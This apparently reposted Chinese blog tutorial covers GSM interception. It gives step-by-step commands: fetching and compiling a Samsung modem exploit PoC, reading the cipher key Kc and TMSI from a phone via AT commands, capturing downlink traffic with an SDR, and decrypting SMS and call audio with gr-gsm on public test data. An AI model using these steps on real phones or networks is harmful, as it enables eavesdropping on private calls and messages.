GSM Hacking Part② :使用SDR捕获GSM网络数据并解密

本文涉及的产品
简介:

0×00

在文章第一部分 GSM Hacking Part① :使用SDR扫描嗅探GSM网络 搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。

0×01

1.1 获取三星漏洞利用代码:

这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试(此方法仅适用于:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。

AT 即Attention,AT指令用于终端设备与PC应用之间的连接与通信。

1
wget https: //raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c

1.2 源码编译libusb:

1
2
3
4
5
6
7
wget http: //jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz
tar zxvf libusb-0.1.12.tar.gz
cd libusb-0.1.12/
./configure
make
make install
sudo ldconfig

1.3 gcc编译PoC:

1
gcc usbswitcher.c -o switcher -lusb

0×02 获取Kc、TMSI参数

插入三星设备,可以在/dev/ttyACM*中找到它:

2.1 switcher

1
busybox microcom /dev/ttyACM0

1
./switcher

这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom:

2.2 minicom

1
minicom -D /dev/ttyACM0

通过AT指令获取Kc\TMSI可参阅:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security

2.3 Kc

GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值:

1
AT+CRSM=176.28448,0,0,9

演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E9698033

0×03 信号捕获

3.1 确定当前手机接入基站

手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入

1
*#*#4636#*#* 

上面这个是安卓通用的如果你的手机没反应,还可以尝试

1
2
3
Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#*拨号
HTC (Android) : *#*#7262626#*#*

进去以后能找到基站的MCC、MNC、ARFCN这些参数。

MCC 移动国家码

MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02

ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。

手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。

手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。

手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。

在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包:

3.2 确定当前基站的下行频率:

打开http://www.cellmapper.net/arfcn.php

结果:

1
2
3
4
5
6
7
8
Network Type    GSM (TDMA)
E/U/ARFCN    12
Band Name    GSM-900
Uplink Frequency 上行频率 手机到基站
(phone to  base  station)    892.4 MHz
Downlink Frequency  下行频率 基站到手机
( base  station to phone)    937.4 MHz
Band Number    900

获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000

3.3捕获下行数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
grgsm_capture.py -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc
 
Usage: grgsm_capture.py [options]
 
RTL-SDR capturing app of gr-gsm.
 
Options:
   -h, --help            show  this  help message and exit  //打印帮助信息
   -f FC, --fc=FC        Set frequency [ default =none]  //设定捕获数据的中心频率
   -a ARFCN, --arfcn=ARFCN   //设定ARFCN
                         Set ARFCN instead of frequency. In some cases you may
                         have to provide the GSM band also
   -g GAIN, --gain=GAIN  Set gain [ default =30]  //设定gain
   -s SAMP_RATE, --samp-rate=SAMP_RATE   //设定采样率 默认2M
                         Set samp_rate [ default =2M]
   -p PPM, --ppm=PPM     Set ppm [ default =0]
   -b BURST_FILE, --burst-file=BURST_FILE
                         File  where  the captured bursts are saved
   -c CFILE, --cfile=CFILE
                         File  where  the captured data are saved
   --band=BAND           Specify the GSM band  for  the frequency. Available
                         bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                         GSM450, GSM480, GSM850. If no band  is  specified, it
                         will be determined automatically, defaulting to 0.
   --args=ARGS           Set device arguments [ default =]
   -v, --verbose         If  set , the captured bursts are printed to stdout
   -T REC_LENGTH, --rec-length=REC_LENGTH
                         Set length of recording  in  seconds [ default =none]
1
grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20
1
2
3
4
5
-g 指定gain参数 40
-a ARFCN 12
-s 设定采样率1M
-c 将捕获到的数据存入sms.cfile
-T 设定时间

命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。

1
ls -lah sms.cfile

捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。

0×04 信号解码

捕获完数据以后再次获取KC TMSI值:

1
minicom -D /dev/ttyACM0

4.1 KC:

1
AT+CRSM=176.28448,0,0,9

演示视频中输出结果为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803

4.2 TMSI:

1
AT+CRSM=176.28542,0,0,11

演示视频中输出结果为:9062FF7632F8665610FF00 取其前4bytes,也就是前8字节,即:9062FF76

1
ls -lah voice.cfile

一起来看看解码脚本的用法:

decode usage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
grgsm_decode -h
Usage: grgsm_decode: [options]
 
Options:
   -h, --help            show  this  help message and exit  //打印帮助信息
   -m CHAN_MODE, --mode=CHAN_MODE
                         Channel mode. Valid options are  'BCCH'  (Non-combined
                         C0),  'BCCH_SDCCH4' (Combined C0),  'SDCCH8'  (Stand-alone
                         control channel) and  'TCHF'  (Traffic Channel, Full
                         rate)
   -t TIMESLOT, --timeslot=TIMESLOT
                         Timeslot to decode [ default =0]
   -u SUBSLOT, --subslot=SUBSLOT
                         Subslot to decode. Use  in  combination with channel
                         type BCCH_SDCCH4 and SDCCH8
   -b BURST_FILE, --burst-file=BURST_FILE
                         Input file (bursts)
   -c CFILE, --cfile=CFILE
                         Input file (cfile)
   -v, --verbose         If  set , the decoded messages (with frame number and
                         count) are printed to stdout
   -p, --print-bursts    If  set , the raw bursts (with frame number and count)
                         are printed to stdout
 
   Cfile Options:
     Options  for  decoding cfile input.
 
     -f FC, --fc=FC      Frequency of cfile capture   //指定需解码文件的中心频率 (从哪个频率捕获就填多少)
     -a ARFCN, --arfcn=ARFCN   //指定ARFCN 同上,从哪个ARFCN捕获就填多少
                         Set ARFCN instead of frequency. In some cases you may
                         have to provide the GSM band also
     --band=BAND         Specify the GSM band  for  the frequency. Available
                         bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                         GSM450, GSM480, GSM850.If no band  is  specified, it
                         will be determined automatically, defaulting to 0.
     -s SAMP_RATE, --samp-rate=SAMP_RATE    //指定采样率,默认1M
                         Sample rate of cfile capture [ default =1M]
     --ppm=PPM           Set frequency offset correction [ default =0]
 
   Decryption Options:
     Options  for  setting the A5 decryption parameters.
 
     -e A5, --a5=A5      A5 version [ default =1]. A5 versions 1 - 3 supported  //设定A5加密算法版本
     -k KC, --kc=KC      A5 session key Kc. Valid formats are  //设定KC值
                         '0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF'  and
                         '1234567890ABCDEF'
 
   TCH Options:
     Options  for  setting Traffic channel decoding parameters.
 
     -d SPEECH_CODEC, --speech-codec=SPEECH_CODEC
                         TCH-F speech codec [ default =FR]. Valid options are FR,
                         EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7,
                         AMR5.9, AMR5.15, AMR4.75
     -o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE  //将解密后的文件另存为
                         TCH/F speech output file [ default =/tmp/speech.au.gsm].

在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data

测试数据已知参数如下:

1
2
3
ARFCN:725
采样率:$((100000000/174))
Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
1
2
wget https: //github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile
mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile
1
sudo wireshark -i lo
1
grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile

在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1

使用我们刚刚知道的参数再次解密:

1
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1

在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型:

A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。

A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。

确定了加密算法,再次执行解密脚本:

1
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02

在cc Setup这一项,可以看到Calling party BCD number – Calling party number(被叫手机显示的主叫号码):

Assignment Command一栏信息如下:

在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听:

1
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm

进入/tmp缓存目录中,已经可以发现一个音频文件了:

安装VLC播放器:

1
2
sudo apt- get  install vlc-nox
vlc  /tmp/test.au.gsm

耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1

0×05 refer

GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9
Voice Decryption 语音解密
SMS Decryption 短信解密
SMS text messeges and voice calls sniffing
https://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf

原文地址:http://www.freebuf.com/articles/wireless/111577.html

本文转自 K1two2 博客园博客,原文链接:

http://www.cnblogs.com/k1two2/p/5804566.html

  ,如需转载请自行联系原作者

相关实践学习
基于函数计算一键部署掌上游戏机
本场景介绍如何使用阿里云计算服务命令快速搭建一个掌上游戏机。
建立 Serverless 思维
本课程包括: Serverless 应用引擎的概念, 为开发者带来的实际价值, 以及让您了解常见的 Serverless 架构模式
相关文章
|
13天前
|
数据采集 存储 API
网络爬虫与数据采集:使用Python自动化获取网页数据
【4月更文挑战第12天】本文介绍了Python网络爬虫的基础知识,包括网络爬虫概念(请求网页、解析、存储数据和处理异常)和Python常用的爬虫库requests(发送HTTP请求)与BeautifulSoup(解析HTML)。通过基本流程示例展示了如何导入库、发送请求、解析网页、提取数据、存储数据及处理异常。还提到了Python爬虫的实际应用,如获取新闻数据和商品信息。
|
2天前
|
机器学习/深度学习 算法 算法框架/工具
数据分享|PYTHON用KERAS的LSTM神经网络进行时间序列预测天然气价格例子
数据分享|PYTHON用KERAS的LSTM神经网络进行时间序列预测天然气价格例子
23 0
|
1天前
|
存储 SQL 安全
网络安全与信息安全:保护数据的关键策略
【4月更文挑战第24天】 在数字化时代,数据成为了新的货币。然而,随着网络攻击的日益猖獗,如何确保信息的安全和隐私成为了一个亟待解决的问题。本文将深入探讨网络安全漏洞的概念、加密技术的重要性以及提升安全意识的必要性,旨在为读者提供一套综合性的网络安全防护策略。通过对这些关键知识点的分享,我们希望能够增强个人和组织在面对网络威胁时的防御能力。
|
2天前
|
安全 JavaScript 前端开发
第十六届山东省职业院校技能大赛中职组 “网络安全”赛项竞赛试题—B模块安全事件响应/网络安全数据取证/应用安全
该内容描述了一次网络安全演练,包括七个部分:Linux渗透提权、内存取证、页面信息发现、数字取证调查、网络安全应急响应、Python代码分析和逆向分析。参与者需在模拟环境中收集Flag值,涉及任务如获取服务器信息、提权、解析内存片段、分析网络数据包、处理代码漏洞、解码逆向操作等。每个部分都列出了若干具体任务,要求提取或生成特定信息作为Flag提交。
5 0
|
2天前
|
安全 测试技术 网络安全
2024年山东省职业院校技能大赛中职组 “网络安全”赛项竞赛试题-C安全事件响应/网络安全数据取证/应用安全
B模块涵盖安全事件响应和应用安全,包括Windows渗透测试、页面信息发现、Linux系统提权及网络安全应急响应。在Windows渗透测试中,涉及系统服务扫描、DNS信息提取、管理员密码、.docx文件名及内容、图片中单词等Flag值。页面信息发现任务包括服务器端口、主页Flag、脚本信息、登录成功信息等。Linux系统渗透需收集SSH端口号、主机名、内核版本,并实现提权获取root目录内容和密码。网络安全应急响应涉及删除后门用户、找出ssh后门时间、恢复环境变量文件、识别修改的bin文件格式及定位挖矿病毒钱包地址。
9 0
|
2天前
|
安全 测试技术 Linux
2024年山东省职业院校技能大赛中职组 “网络安全”赛项竞赛试题-A模块安全事件响应/网络安全数据取证/应用安全
该内容描述了一个网络安全挑战,涉及Windows和Linux系统的渗透测试以及隐藏信息探索和内存取证。挑战包括使用Kali Linux对Windows Server进行服务扫描、DNS信息提取、密码获取、文件名和内容查找等。对于Linux系统,任务包括收集服务器信息、提权并查找特定文件内容和密码。此外,还有对Server2007网站的多步骤渗透,寻找登录界面和页面中的隐藏FLAG。最后,需要通过FTP获取win20230306服务器的内存片段,从中提取密码、地址、主机名、挖矿程序信息和浏览器搜索关键词。
3 0
|
2天前
|
安全 测试技术 网络安全
2024年甘肃省职业院校技能大赛中职组 “网络安全”赛项竞赛样题-C模块安全事件响应/网络安全数据取证/应用安全
涉及安全事件响应和应用安全测试。需使用Kali对Windows Server2105进行渗透测试,包括服务扫描、DNS信息提取、管理员密码、文件名与内容、图片中单词等。另外,需收集win20230305的服务器端口、页面信息、脚本、登录后信息等。在Linux Server2214上,要获取SSH端口、主机名、内核版本并进行提权操作。网络安全响应针对Server2228,涉及删除后门用户、查找SSH后门时间、恢复环境变量、识别篡改文件格式和矿池钱包地址。最后,对lin20230509进行网站渗透,获取端口号、数据库服务版本、脚本创建时间、页面路径、内核版本和root目录下的flag文件内容
5 0
|
3天前
|
机器学习/深度学习 传感器 数据可视化
MATLAB用深度学习长短期记忆 (LSTM) 神经网络对智能手机传感器时间序列数据进行分类
MATLAB用深度学习长短期记忆 (LSTM) 神经网络对智能手机传感器时间序列数据进行分类
19 1
MATLAB用深度学习长短期记忆 (LSTM) 神经网络对智能手机传感器时间序列数据进行分类
|
8天前
|
机器学习/深度学习 数据可视化 测试技术
深度学习:Keras使用神经网络进行简单文本分类分析新闻组数据
深度学习:Keras使用神经网络进行简单文本分类分析新闻组数据
21 0
|
8天前
|
机器学习/深度学习 API 算法框架/工具
R语言深度学习:用keras神经网络回归模型预测时间序列数据
R语言深度学习:用keras神经网络回归模型预测时间序列数据
17 0